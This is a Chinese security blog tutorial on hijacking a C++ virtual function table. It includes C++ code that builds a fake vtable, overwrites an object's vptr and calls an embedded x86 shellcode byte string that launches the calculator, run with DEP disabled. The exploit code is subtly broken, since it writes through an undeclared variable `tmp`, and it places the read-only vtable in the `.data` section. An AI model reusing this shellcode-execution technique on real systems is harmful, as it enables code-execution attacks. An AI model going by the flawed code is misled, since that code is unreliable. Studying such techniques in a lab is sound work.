Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「技术教程」深入探索:实战虚函数表劫持(RealPwn-1)

「技术教程」深入探索:实战虚函数表劫持(RealPwn-1)

Eswlnk的头像
Eswlnk
2024-02-08 20:48:49
「技术教程」深入探索:实战虚函数表劫持(RealPwn-1)-Eswlnk Blog
智能摘要 AI
C++中虚函数通过虚函数表(vtable)实现多态,每个含虚函数的类对象在内存起始处有一个指向vtable的指针(vptr)。vtable存储类中所有虚函数的指针,用于查找实际调用的函数。虚函数表位于`.data`段,只读不可修改。调试时可通过x32dbg查看对象地址和虚表地址,发现vptr指向真实的虚表地址。实验中伪造虚表并修改对象的vptr使其指向伪造虚表,从而劫持函数调用。实验代码中包含弹出计算器的shellcode,但未处理壳代码不可执行的问题,实验中已关闭DEP以绕过此限制。

虚函数表

C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。

每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。

虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。

借用网上的一张图

vft.png

特性

总结下虚函数表的特性:

  1. 虚函数表在 .data 段,仅可读,无法修改
  2. 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。
  3. 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,

调试

下面调试一下,环境 VS2019 + x32dbg:

代码:

#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");
return 0;
}
image-20210702163648268

x32dbg 里看内存

image-20210702163707394

0x014FD028 是 vptr ,指向虚函数表。

image-20210702163900420

0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。

image-20210702164047943

对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。

image-20210702164627019

试验一下。

要在内存中伪造出一个虚表,将对象的虚表指针指向它。

修改代码

#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode

sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;

sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;

system("pause");

long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表

system("pause");

a->hijackme();

return 0;
}

重新执行

image-20210702175254591

在 0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020 。

image-20210702174543785

0x00535020 是 shellcode

image-20210702174636492

这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。

image-20210702173559882

应该就可以执行 shellcode 了。

「技术教程」深入探索:实战虚函数表劫持(RealPwn-1)-Eswlnk Blog
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
vtable代码函数劫持抽
1
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「攻防对抗」初识利用PPID欺骗绕过
上一篇
「工具分享」深入了解Volatility取证分析工具 | 发掘内存秘密
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 小工具开发之EdgeOne免费计划兑换工具
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
  • 「日志记录」逆向必应翻译网页版API实现免费调用
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
2025-02-13 16:11:32
WordPress判断文章是否被评论代码
2023-01-30 0:17:35
「其他分享」分享一个在Tun模式下可用的脚本
2024-06-15 12:56:16

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 1.051 秒   |  SQL查询 24 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈